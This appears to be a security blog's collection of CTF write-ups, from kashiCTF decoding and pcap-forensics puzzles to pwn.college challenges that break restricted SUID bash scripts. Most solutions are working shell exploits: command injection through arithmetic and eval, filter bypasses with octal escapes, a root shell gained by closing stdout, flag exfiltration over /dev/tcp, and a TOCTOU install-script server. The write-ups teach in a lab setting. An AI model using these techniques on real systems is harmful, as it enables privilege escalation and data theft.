Hello Navi

Tech, Security & Personal Notes

A secret message has been passed down through generations since the time of the great Mahabharata war. Legend says that every 64 years, the keepers of this secret would encode the message once more to protect it from those who might seek to misuse its power. The message has traveled through 3136 years of history, from the ancient battlefields of Kurukshetra in 3136 BCE to the dawn of the Common Era.

Initial Analysis

The challenge provides two main clues:

  1. Mathematical Clue: The message has existed for 3136 years and was re-encoded every 64 years. $$\frac{3136}{64} = 49$$ This suggests the message has been recursively encoded 49 times.
  2. File Inspection: The provided file secret_message.txt is large (~59MB) and starts with the characters Vm0wd2Qy..., which is a classic signature for multiple layers of Base64 encoding.

Extraction & Decoding

We can use a Python script to iteratively decode the file 49 times. Each layer of decoding reduces the file size until the final plaintext flag is revealed.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import base64

def solve():
# Read the initial encoded data
with open('secret_message.txt', 'r') as f:
data = f.read().strip()

# Iteratively decode 49 times
print("[*] Starting iterative Base64 decoding...")
for i in range(49):
try:
data = base64.b64decode(data).decode('utf-8')
except Exception as e:
print(f"[-] Error at iteration {i+1}: {e}")
break

print(f"[+] Final Decoded Message: {data}")

if __name__ == "__main__":
solve()

Flag

kashiCTF{th3_s3cr3t_0f_mah4bh4r4t4_fr0m_3136_BCE}

I like to save my files as pdfs. Kashi kings hate 184.

Initial Analysis

The file is named flag.pdf, but standard PDF analysis tools fail to recognize it:

1
2
pdfid flag.pdf
# Output: Not a PDF document

Using the file command reveals its true identity:

1
2
file flag.pdf
# Output: flag.pdf: Netpbm image data, size = 284 x 150, rawbits, pixmap

The challenge hint “Kashi kings hate 184” suggests that the height of the image (currently 150) has been tampered with and should likely be 184.

Extraction & Decoding

Netpbm (PPM) files use a plain-text header. We can repair the height by editing the file header. Opening the file in a hex editor or a text editor like vim (using :set binary or simply editing the ASCII header) reveals:

1
2
3
4
P6
284 150
255
[Binary Data...]

Change the height value from 150 to 184:

1
2
3
4
P6
284 184
255
[Binary Data...]

After saving the change, the image can be opened with a standard image viewer to reveal the flag.

Flag

kashiCTF{iLOVEkashi}

Wait, you forgot to give me the Advent calendar!?!?! And what is that supposed to mean, I should have opened the doors up until today?? Ugh, okay, then I’ll start: Door 1

Investigation

The hint suggests that we need to visit the “doors” of the Advent calendar. The URL structure was identified as:

1
GET https://hack.arrrg.de/adventskalender/$$ HTTP/1.1

Where $$ represents the door number. To find the flag, we need to check all possible doors (1 to 30).

Solution

Using Zaproxy (OWASP ZAP) or a similar fuzzer, we can automate the process:

  1. Intercept/Send Request: Create a base request to https://hack.arrrg.de/adventskalender/1.
  2. Set Payload: In Zaproxy’s fuzzer, set the payload for the door number position.
  3. Configure Generator: Use a Numberzz generator:
    • From: 1
    • To: 30
    • Step: 1
  4. Execute Fuzz: Start the fuzzer and monitor the responses.
  5. Analyze Results: Look for a response that differs in content.

After fuzzing, collecting the responses and looking for a secret message was revealed the hidden message.

THE ANSWER: FELIZNAVIDAD

I like to have my poems saved on CTFd instances like this. But the admin does like it, so I hid the secret in my poem.

Solution

The provided poem contains a significant amount of trailing tabs and spaces at the end of each line. This is a classic indication of SNOW (Steganographic Nature Of Whitespace) steganography.

By using a SNOW decoder (such as the web-based snow.js decoder), we can extract the hidden message from the poem text:

1
2
3
4
5
6
7
8
9
10
11
12
13
The way a crow	      	  	   	   		     	   	      
Shook down on me
The dust of snow
From a hemlock tree

Has given my heart
A change of mood
And saved some part
Of a day I had rued.




The decoded message reveals the flag.

Flag

kashiCTF{1_like_poems_but_1_lik3_u_more<3}

Its Time to be sane. I wish I could give the flag, but I can’t. Try searching this site. xd :>

Solution

The flag was split into two parts found in different locations on the platform:

  1. robots.txt: Navigating to https://kashictf.iitbhucybersec.in/robots.txt revealed the first part of the flag:

    1
    2
    3
    User-agent: *
    Disallow: /admin
    kashiCTF{50_you_did

  2. Home Page Source: Inspecting the HTML source code of the main landing page https://kashictf.iitbhucybersec.in/ revealed the second part hidden inside a comment:

    1
    <!--- _endup_ge77ing_the_flag_hehe} --->

Combining both parts yields the full flag.

Flag

kashiCTF{50_you_did_endup_ge77ing_the_flag_hehe}

The flag was hidden in the #rules channel of the kashiCTF Discord server.

Solution

The following encoded string was found:

1
Tk5RWEcyREpJTktFTTYzVU5CVVhHWDNYTUZaVjYzVFBPUlBXUVlMU01SNlFVPT09Cg==
  1. Base64 Decoding: Decoding the string once results in a Base32-encoded string.
    1
    NNQXG2DJINKEM63UNBUXGX3XMFZV63TPORPWQYLSMR6QU===
  2. Base32 Decoding: Decoding the resulting string

Flag

kashiCTF{this_was_not_hard}

A network analysis challenge where data was exfiltrated via DNS queries.

Challenge Description

A network capture was obtained from an internal monitoring system after suspicious activity was detected. The traffic appears mostly benign, but analysts believe data was covertly exfiltrated during normal communication.

Initial Reconnaissance

Checking the protocol distribution of the capture.pcap file using tshark:

1
tshark -r capture.pcap -q -z io,phs

The output confirms that 100% of the traffic is DNS, indicating that DNS is being used as a tunnel for exfiltration.

DNS Query Analysis

Extracting the DNS query names reveals two distinct patterns: 1. Repetitive queries for common domains like kashi.com and amazon.com (likely noise). 2. High-entropy subdomains under .exfil.internal.

Extracting the subdomains:

1
2
3
4
5
6
7
tshark -r capture.pcap -T fields -e dns.qry.name | grep ".exfil.internal"
# Example output:
# NNQXG2DJINKE.exfil.internal
# M63ENZZV6ZLY.exfil.internal
# MZUWY5DSMF2G.exfil.internal
# S33OL5UXGX3T.exfil.internal
# NZSWC23ZPU.exfil.internal

Data Recovery

The strings (e.g., NNQXG...) are characteristic of Base32 encoding. We can concatenate these strings and decode them to recover the secret payload:

1
2
3
4
5
6
7
8
import base64

# Concatenated subdomains
encoded_payload = "NNQXG2DJINKEM63ENZZV6ZLYMZUWY5DSMF2GS33OL5UXGX3TNZSWC23ZPU"

# Base32 decoding (adding padding if necessary)
decoded = base64.b32decode(encoded_payload + "======").decode()
print(f"Decoded flag: {decoded}")

Flag

kashiCTF{dns_exfiltration_is_sneaky}

A forensics challenge involving network traffic analysis and IP Time-to-Live (TTL) steganography.

Challenge Description

A packet capture was collected from an internal network segment during routine monitoring. No alerts were triggered at the time, and the traffic appears largely normal. Your task is to analyze the capture and determine whether any meaningful information can be recovered.

Initial Analysis

The provided file ttl_stego.pcap contains a series of ICMP Echo (ping) requests. While the payloads appear standard, the IP Time-to-Live (TTL) values fluctuate between 64 and 65, suggesting binary data is encoded in these variations.

Using tshark to inspect the TTL values:

1
2
tshark -r ttl_stego.pcap -c 10 -T fields -e ip.ttl
# Output: 64, 65, 65, 64, 65, 64, 65, 65, 64, 65...

Extraction & Decoding

The TTL values can be mapped to binary bits: - 64 0 - 65 1

We can extract the full sequence of TTLs and decode them using a Python script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import sys

# Extract TTLs using: tshark -r ttl_stego.pcap -T fields -e ip.ttl > ttls.txt
with open('ttls.txt', 'r') as f:
ttls = [int(line.strip()) for line in f if line.strip()]

# Convert TTLs to bits
bits = "".join(['0' if t == 64 else '1' for t in ttls])

# Convert bits to characters (8 bits per byte)
flag = ""
for i in range(0, len(bits), 8):
byte = bits[i:i+8]
if len(byte) == 8:
flag += chr(int(byte, 2))

print(f"Decoded message: {flag}")

Flag

kashiCTF{ttl_stego_is_evil}

Dance of the Disquised

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ubuntu@unexpected-input~dance-of-the-disguised:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/sh -p

PATH=/usr/bin
[ -n "$1" ] || exit 1

WORKDIR=$(mktemp -d) || exit 2
cp -rL "$1"/* $WORKDIR/files
cd $WORKDIR/files

# make sure there weren't linking shenanegans
grep -q "{" notflag* && exit 3

ls notflag* | while read FILE
do
echo "###### FILE: $FILE #######"
cat "$FILE"
done
1
2
3
4
5
6
7
8
9
10
11
12
13
14
ubuntu@unexpected-input~dance-of-the-disguised:~$ mkdir -p /tmp/arch_way/wrapper
ubuntu@unexpected-input~dance-of-the-disguised:~$ ln -s /flag /tmp/arch_way/wrapper/theflag
ubuntu@unexpected-input~dance-of-the-disguised:~$ mkdir /tmp/arch_way/wrapper/notflag
ubuntu@unexpected-input~dance-of-the-disguised:~$ touch /tmp/arch_way/wrapper/notflag/theflag
ubuntu@unexpected-input~dance-of-the-disguised:~$ /challenge/run /tmp/arch_way
grep: notflag: Is a directory
###### FILE: theflag #######
pwn.college{********************************************}

# "$1"/* 展开后只有一个对象,也就是 /tmp/arch_way/wrapper 目录。

# cp -rL 发现只有一个源目录,而目标 $WORKDIR/files 不存在,于是它会自动创建 files 目录,并将 wrapper 里的内容(notflag 目录和已被 -L 解引用的 theflag 真实文件)克隆进去。

# 没有任何 cp 报错。接下来的 grep 会因为遇到 notflag 目录而正常返回错误代码跳过 exit 3 验证,ls 输出内层文件名,cat 读取当前目录下的真实 Flag 文件。

Script of the Silent

1
2
3
4
5
6
7
8
9
10
11
ubuntu@unexpected-input~script-of-the-silent:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

[ -n "$1" ] || exit 1
[ "$(realpath "$1")" != "/" ] || exit 1
[ "$(realpath "$1")" != "/flag" ] || exit 2

printf -v BACKUP_DIR "$1"
tar cvf /tmp/backup "$BACKUP_DIR"
1
2
3
4
5
6
7
8
9
ubuntu@unexpected-input~script-of-the-silent:~$ /challenge/run '/f\154ag'
tar: Removing leading `/' from member names
/flag
ubuntu@unexpected-input~script-of-the-silent:~$ tar -xf /tmp/backup -O
pwn.college{********************************************}
# printf 会默认解析格式化字符串 (Format String) 中的转义字符
# printf 中,你可以使用八进制 (Octal) 或十六进制 (Hex) 来表示字符。比如字母 l 的 ASCII 码是 108,转换成八进制就是 154。
# 当执行到 printf -v BACKUP_DIR '/f\154ag' 时,printf 作为 Bash builtin,会将 \154 翻译成 l。
# 接下来执行 tar cvf /tmp/backup "$BACKUP_DIR",实际上执行的就是 tar cvf /tmp/backup /flag。

One Single Slice

1
2
3
4
5
6
7
8
9
10
11
ubuntu@unexpected-input~one-single-slice:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

read VAR < <(head -n1 | tr -cd 'a-zA-Z0-9')
read VAL < <(head -n1)
declare -n PTR="$VAR"
PTR="$VAL"

# declare -n 创建了一个 nameref (引用变量)。PTR 成为了 $VAR 的指针。随后 PTR="$VAL" 将输入赋值给目标变量。
# 在 Bash 中,有一些内置的特殊变量自带 integer attribute,比如 SECONDS、RANDOM 或者 OPTIND。给一个带有整型属性的变量赋一个字符串时,Bash 不会报错,而是会强制将这个字符串作为 Arithmetic Expression (算术表达式) 来求值
# 在 Bash 的算术求值引擎中,如果你提供一个类似数组的语法,比如 a[index],Bash 为了计算最终结果,必须去动态解析这个 index
1
2
3
4
5
6
ubuntu@unexpected-input~one-single-slice:~$ /challenge/run
SECONDS
a[$(cat /flag >&2)]
# or a[$(</flag)]
# or (echo "SECONDS"; sleep 0.1; echo 'a[$(cat /flag >&2)]') | /challenge/run
pwn.college{**********************************************}

The Treacherous Title

1
2
3
4
5
6
7
8
9
10
11
12
ubuntu@unexpected-input~the-treacherous-title:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

while read VAR
do
declare -r $VAR
done < <(declare -p | cut -d' ' -f3 | cut -d= -f1 | grep -v "^VAR$")

read VAR < <(head -n1)
read VAL < <(head -n1 | tr -cd 'a-zA-Z0-9')
declare -n PTR="$VAR"
PTR="$VAL"
1
2
3
4
5
6
7
8
9
10
11
# PTR="1" -> 相当于执行 a[$(cat /flag >&2)]="1"
ubuntu@unexpected-input~the-treacherous-title:~$ (echo 'a[$(cat /flag >&2)]'; sleep 0.1; echo '1') | /challenge/run
/challenge/run: line 5: _: readonly variable
/challenge/run: line 3: _: readonly variable
/challenge/run: line 8: SHLVL: readonly variable
/challenge/run: line 8: _: readonly variable
/challenge/run: line 9: _: readonly variable
/challenge/run: line 10: _: readonly variable
/challenge/run: line 11: _: readonly variable
pwn.college{**********************************************}
/challenge/run: line 11: _: readonly variable

The Dangling Danger

1
2
3
4
5
6
7
ubuntu@unexpected-input~the-dangling-danger:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/bin

[[ "$1" = *flag ]] && exit 1
cat /$(basename "$1")
1
2
3
ubuntu@unexpected-input~the-dangling-danger:~$ /challenge/run /flag/
pwn.college{**********************************************}
# 当执行 basename /flag/ 时,basename 会先剥离掉末尾的斜杠,把它当成 /flag 处理

The Evil End

1
2
3
4
5
6
7
8
ubuntu@unexpected-input~the-evil-end:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/bin

[[ "$1" = *flag ]] && exit 1
[[ "$1" = */ ]] && exit 2
cat /$(basename "$1")

Command Substitution

1
2
ubuntu@unexpected-input~the-evil-end:~$ /challenge/run '</f*'
pwn.college{**********************************************}

An Eroded Erasure

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
ubuntu@unexpected-input~an-eroded-erasure:~$ cat /challenge/run.c
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
setreuid(0, 0);
setregid(0, 0);

// Use bash -c to source the script so that $0 is preserved from argv[0]
// argv layout: bash -c ". /challenge/run-actual" <original argv[0]> <original
// argv[1]> ...
char **new_argv = malloc((argc + 4) * sizeof(char *));
new_argv[0] = "bash";
new_argv[1] = "-pc";
new_argv[2] = ". /challenge/run-actual";
for (int i = 0; i < argc; i++)
new_argv[3 + i] = argv[i];
new_argv[3 + argc] = NULL;

execv("/bin/bash", new_argv);
return 1;
}
ubuntu@unexpected-input~an-eroded-erasure:~$ cat /challenge/run-actual
#!/bin/bash -p

read FLAG < /flag
read FLAG
echo "$FLAG"
1
2
3
4
5
6
7
8
9
10
11
12
ubuntu@unexpected-input~an-eroded-erasure:~$ env BASH_COMPAT=4.2 /challenge/run 0<&-
/challenge/run-actual: line 4: read: read error: 0: Bad file descriptor
pwn.college{**********************************************}

# 在现代 Bash (4.3 版本及以上) 中,如果 read 遇到了 EOF,会清空目标变量
# 在 Bash 4.3 版本之前,read 命令的底层逻辑存在一个特性:如果它在读取时撞上了 EOF,它会直接报错退出
# BASH_COMPAT 通过设置这个变量可以强制现代 Bash 模拟旧版本的行为

# 0:FD 0 -> stdin。
# <:Input Redirection
# &:Indicator
# -:Close

Secrets of the Processes

1
2
3
4
5
6
7
8
9
10
11
ubuntu@other~secrets-of-the-processes:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin
echo "Guess the flag:"
if head -n1 | grep -q "$(< /flag)"
then
echo "You got it!"
else
echo "Nope."
fi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ubuntu@other~secrets-of-the-processes:~$ /challenge/run &
[1] 136
ubuntu@other~secrets-of-the-processes:~$ Guess the flag:
ps -eo cmd | grep grep
grep -q pwn.college{********************************************}
grep --color=auto grep

[1]+ Stopped /challenge/run
ubuntu@other~secrets-of-the-processes:~$ ps aux | grep grep
root 138 0.0 0.0 1276 0 pts/1 T 12:13 0:00 grep -q pwn.college{********************************************}
ubuntu 142 0.0 0.0 230744 2560 pts/1 S+ 12:13 0:00 grep --color=auto grep

# 在 Linux 底层,当 Bash 遇到管道操作 A | B 时,Bash 会优先解析命令行里的变量和命令替换。此时,拥有高权限的 SUID 脚本会执行 $(< /flag),把真实的 Flag 字符串读取出来。
# Bash 为管道两边的命令分别 fork 出子进程。
# 左边的进程执行 head -n1。
# 右边的进程执行 grep -q "真正的FLAG字符串"。
# head -n1 会挂起,等待右边的进程执行完毕。

Puzzle of the Perverse Predicates

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
ubuntu@other~puzzle-of-the-perverse-predicates:~$ cat /challenge/run.c
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
setreuid(0, 0);
setregid(0, 0);

// Use bash -c to source the script so that $0 is preserved from argv[0]
// argv layout: bash -c ". /challenge/run-actual" <original argv[0]> <original
// argv[1]> ...
char **new_argv = malloc((argc + 4) * sizeof(char *));
new_argv[0] = "bash";
new_argv[1] = "-pc";
new_argv[2] = ". /challenge/run-actual";
for (int i = 0; i < argc; i++)
new_argv[3 + i] = argv[i];
new_argv[3 + argc] = NULL;

execv("/bin/bash", new_argv);
return 1;
}
ubuntu@other~puzzle-of-the-perverse-predicates:~$ cat /challenge/run-actual
#!/bin/bash -p

PATH=/usr/bin
read FLAG < /flag
[ "$1" != "$FLAG" ] && echo "Incorrect Guess. Goodbye!" || bash -i
1
2
3
4
5
6
7
8
9
ubuntu@other~puzzle-of-the-perverse-predicates:~$ /challenge/run >&-
/challenge/run-actual: line 5: echo: write error: Bad file descriptor
root@other~puzzle-of-the-perverse-predicates:~# cat /flag 1>&2
pwn.college{********************************************}

# A && B || C 在 Bash 中被称为 AND/OR Lists (逻辑谓词链)
# 如果 echo 命令执行失败了,那么 (A && B) 这个整体的布尔值就会变成 False,后面的 || (OR 谓词) 就会被强行触发,导致 bash -i 被执行
# 利用 >&- 关闭进程的 stdout echo 向一个已经关闭的文件描述符写入数据,触发 write error: Bad file descriptor,并且返回一个表示失败的退出状态码 (1)
# 1>&2 将 stdout 重定向到依然开启的 stderr (FD 2)

The Flag, Resting Safely

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
ubuntu@other~the-flag-resting-safely:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

read FLAG < /flag
read DEST < <(tr -cd "[a-z0-9/]" <<< "$1")
[[ "$DEST" == /* ]] || exit 1

OLDIFS="$IFS"
IFS="/"
FILE=""
for FRAGMENT in $DEST
do
[ -z "$FRAGMENT" ] && continue
FILE="$FILE/$FRAGMENT"
[ $(stat -c %U "$FILE") == "hacker" ] && exit 2
[ $(stat -c %G "$FILE") == "hacker" ] && exit 3
[[ $(stat -c %A "$FILE") =~ .....w..w. ]] && exit 4
[ "$FRAGMENT" == "proc" ] && exit 5
[ "$FRAGMENT" == "fd" ] && exit 6
[ "$FRAGMENT" == "hacker" ] && exit 7

chmod 000 "$FILE"
done
IFS="$OLDIFS"

[ -e "$FILE" ] && exit 6 # fix clever bypass by amateurhour
umask 777
touch "$DEST"
echo $FLAG > "$DEST"
1
2
3
4
5
6
7
8
9
10
11
ubuntu@other~the-flag-resting-safely:~$ /challenge/run /dev/tcp/localhost/1337
stat: cannot statx '/dev/tcp': No such file or directory
/challenge/run: line 16: [: ==: unary operator expected
stat: cannot statx '/dev/tcp': No such file or directory
/challenge/run: line 17: [: ==: unary operator expected
stat: cannot statx '/dev/tcp': No such file or directory

ubuntu@other~the-flag-resting-safely:~$ nc -lvp 1337
nc: getnameinfo: Temporary failure in name resolution
Connection received on localhost 39398
pwn.college{********************************************}
  1. tr -cd "[a-z0-9/]" 意味着只能使用小写字母、数字和斜杠。
  2. 不能是 hacker 拥有的目录,不能是带有组/其他用户写权限的目录(这就排除了 /tmp, /dev/shm 等)。
  3. chmod 000 "$FILE"。脚本在遍历你提供的路径时,会把沿途所有的目录权限全部抹成 000
  4. [ -e "$FILE" ] && exit 6。目标路径不能事先存在。
  5. umask 777 结合 touch,创建出的最终文件权限是 000

当 Bash 处理重定向符 > 时,如果后面的路径是 /dev/tcp/host/port,它会将其拦截,并在内部发起一个 TCP Socket 网络连接

The Scream of Silence

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
ubuntu@other~the-scream-of-silence:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

exec /bin/bash --restricted --init-file /challenge/.yanjail
ubuntu@other~the-scream-of-silence:~$ cat /challenge/.yanjail
# This disables command injection. If you can find a bypass of it, let Zardus know!
set -T
readonly BASH_SUBSHELL # props to HAL50000 for the bypass necessitating this fix
trap '[[ $BASH_SUBSHELL -gt 0 ]] && exit' DEBUG

set +H
set +f
set +m
set +B

export PS1="NO WAY OUT: "
export PATH=/nope
alias case=nope
alias coproc=nope
alias do=nope
alias done=nope
alias elif=nope
alias else=nope
alias esac=nope
#alias exit=nope
alias fi=nope
alias for=nope
alias function=nope
alias if=nope
alias in=nope
alias select=nope
alias then=nope
alias time=nope
alias until=nope
alias while=nope

enable -n .
enable -n :
enable -n [
enable -n alias
enable -n bg
enable -n bind
enable -n break
enable -n builtin
enable -n caller
enable -n cd
enable -n command
enable -n compgen
enable -n complete
enable -n compopt
enable -n continue
enable -n declare
enable -n dirs
enable -n disown
enable -n echo
enable -n eval
enable -n exec
#enable -n exit
enable -n export
enable -n false
enable -n fc
enable -n fg
enable -n getopts
enable -n hash
enable -n help
enable -n history
enable -n jobs
enable -n kill
enable -n let
enable -n local
enable -n logout
enable -n mapfile
enable -n popd
enable -n printf
enable -n pushd
enable -n pwd
enable -n read
enable -n readarray
enable -n readonly
enable -n return
enable -n set
enable -n shift
enable -n shopt
enable -n source
enable -n suspend
enable -n test
enable -n times
enable -n trap
enable -n true
enable -n type
enable -n typeset
enable -n ulimit
enable -n umask
enable -n unalias
enable -n unset
enable -n wait
enable -n enable
1
2
3
4
5
6
7
8
9
10
11
12
ubuntu@other~the-scream-of-silence:~$ /challenge/run
NO WAY OUT: exit() { A=1; }
NO WAY OUT: $(< /flag)
bash: pwn.college{********************************************}: command not found

# 在 Bash 中,当你输入一个命令(比如 exit),Bash 是按照严格的优先级顺序去查找它的:

# Aliases (别名)
# Keywords (关键字)
# Functions (函数) -> exit()
# Builtins (内置命令) -> exit
# $PATH 中的可执行文件

Deception, Born of Wisdom

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
ubuntu@other~deception-born-of-wisdom:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

WORKDIR=$(mktemp -d)
[ -n "$WORKDIR" ] || exit 1
cd $WORKDIR

chmod o-rwx .
chmod o-rwx /proc

function check_script {
curl -s http://challenge.localhost:1337/install.sh -o script.sh || exit 1

# good installer scripts should just touch a bunch of files
grep -E '^(touch|echo|sleep) [0-9a-zA-Z]*$' script.sh > sanitized_script.sh
if ! diff script.sh sanitized_script.sh
then
echo "Looks like there are some shenanigans in your script. Aborting!"
rm -f /flag
exit 1
fi
}

echo "Thoroughly checking your install script for shenanigans..."
i=0
MAX=$(($RANDOM%1000+1337))
while [ "$i" -lt "$MAX" ]
do
check_script
echo -ne "\rChecked for the $((i++))th time... "
done

curl -s http://challenge.localhost:1337/install.sh | sh

TOCTOU (Time-of-Check to Time-of-Use)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import socket
import time

s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0', 1337))
s.listen(5)

http_header = b"HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\n\r\n"
safe_payload = http_header + b"sleep 2\n" + b"echo a\n" * 50000

while True:
c, addr = s.accept()

try:
c.recv(1024)

c.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 4096)
c.settimeout(0.1)

c.sendall(safe_payload)
c.close()

# 如果是 curl -o:瞬间下载完,Web 服务器的发送缓冲区瞬间清空。
# 如果是 curl | sh:sh 被 sleep 2,管道被塞满 64 KB,curl 无法继续写入,于是停止从网络读取,导致 TCP 接收窗口被塞满,最终反向导致我们 Web 服务器的 send() 函数被阻塞 (Block)
except socket.timeout:
time.sleep(2)
c.settimeout(3.0)
c.sendall(b"\ncat /flag\n")
print("Success")
c.close()
break
except ConnectionResetError:
pass
1
2
3
ubuntu@other~deception-born-of-wisdom:~$ /challenge/run | grep pwn
sh: 24890: ech: not found
pwn.college{********************************************}

Beam me up, Sensei

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ubuntu@other~beam-me-up-sensei:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

regex='^[0-9]+[\+\-\*/][0-9]+$'

if [[ "$1" =~ $regex ]]
then
RESULT=$[$1]
exit $RESULT
# If there are more than one argument, the exit status is 1, and the shell does not exit.
else
exit 0
fi

cat /flag
1
2
3
ubuntu@other~beam-me-up-sensei:~$ /challenge/run "1/0"
/challenge/run: line 7: 1/0: division by 0 (error token is "0")
pwn.college{**********************************************}

In the realm of the shell, brutal input restrictions may seem to be impenetrable walls, the unyielding gatekeepers of commands. Yet, to the adept practitioner, these walls are but illusions, mere whispers of constraints. With cunning and a deep understanding of the shell’s inner workings, one can bypass these seeming obstructions. Like a river flowing around a stone, the input, seemingly restricted, finds its own path. Embrace this lesson and realize that in the shell, as in life, perceived limitations are often just opportunities for creative solutions.

Rhythm of Restriction

1
2
3
4
5
6
7
ubuntu@input-restrictions~rhythm-of-restriction:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

read INPUT < <(head -n1 | tr -d "[A-Za-z0-9/]")
eval "$INPUT"
1
2
3
4
ubuntu@input-restrictions~rhythm-of-restriction:~$ echo "/bin/cat /flag" > _
ubuntu@input-restrictions~rhythm-of-restriction:~$ /challenge/run
. _
pwn.college{********************************************}
1
2
3
4
5
6
7
输入 . _ 时,tr -d 发现没有字母、数字或 /。变量 $INPUT 的值就是 . _。

eval ". _" 被执行。因为点号 . 是内置命令,它不需要 /usr/bin 里的任何外部可执行文件。

Bash 会去寻找名为 _ 的文件。虽然题目里的 PATH 被重置为 /usr/bin,但在 Bash 的机制中,如果 source 的目标文件不带路径斜杠,且在 PATH 中找不到,它会默认回退去搜索当前目录 (current directory)。

于是,它成功加载了你之前创建的 _ 文件,并在拥有 SUID 权限的 shell 环境下,执行了里面的 /bin/cat /flag。

Odyssey of the Octal

1
2
3
4
5
6
7
ubuntu@input-restrictions~odyssey-of-the-octal:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

read INPUT < <(head -n1 | tr -d "[A-Za-z0-9./]")
eval "$INPUT"
1
2
3
ubuntu@input-restrictions~odyssey-of-the-octal:~$ /challenge/run
$(<_)
pwn.college{********************************************}

Riddle of the Radix

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ubuntu@input-restrictions~riddle-of-the-radix:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

WORKDIR=$(mktemp -d)
[ -n "$WORKDIR" ] || exit 1
cd $WORKDIR

doit() {
echo -n ""
read -r INPUT < <(head -n1 | tr -d "[A-Za-z./]")
eval "$INPUT"
}

doit

ANSI-C Quoting

$'\NNN' 这种语法允许通过八进制 (Octal) ASCII 码来表示任何字符。

1
2
3
ubuntu@input-restrictions~riddle-of-the-radix:~$ /challenge/run
$'\057\142\151\156\057\143\141\164' $'\057\146\154\141\147'
pwn.college{********************************************}

Whisper of the Withheld

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ubuntu@input-restrictions~whisper-of-the-withheld:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

WORKDIR=$(mktemp -d)
[ -n "$WORKDIR" ] || exit 1
cd $WORKDIR

doit() {
echo -n ""
read INPUT < <(head -n1 | tr -d "[A-Za-z./]")
eval "$INPUT"
}

doit

have now -r raw this time $'\NNN' -> $'NNN' $'\\NNN' -> $'\NNN'

1
2
3
ubuntu@input-restrictions~whisper-of-the-withheld:~$ /challenge/run
$'\\057\\142\\151\\156\\057\\143\\141\\164' $'\\057\\146\\154\\141\\147'
pwn.college{********************************************}

Path of the Unseen

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ubuntu@input-restrictions~path-of-the-unseen:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

WORKDIR=$(mktemp -d)
[ -n "$WORKDIR" ] || exit 1
cd $WORKDIR

doit() {
echo -n ""
read INPUT < <(head -n1 | tr -d "[A-Za-z0-9.~]")
eval "$INPUT"
}

doit
1
2
3
4
5
6
7
8
9
ubuntu@input-restrictions~path-of-the-unseen:~$ echo "/bin/cat /flag" > /tmp/___
ubuntu@input-restrictions~path-of-the-unseen:~$ chmod +x /tmp/___
ubuntu@input-restrictions~path-of-the-unseen:~$ /challenge/run
/*/___
pwn.college{********************************************}

# /* 代表根目录下的所有子目录(如 /bin, /etc, /usr, /tmp 等)。

# /*/___ 意思是:在根目录的任意子目录中,寻找名为 ___ 的文件。

Dance of the Disallowed

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ubuntu@input-restrictions~dance-of-the-disallowed:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

WORKDIR=$(mktemp -d)
[ -n "$WORKDIR" ] || exit 1
cd $WORKDIR

doit() {
echo -n ""
read INPUT < <(head -n1 | tr -d "[A-Za-z0-9./~]")
eval "$INPUT"
}

doit
1
2
3
4
5
6
7
8
ubuntu@input-restrictions~dance-of-the-disallowed:~$ /challenge/run
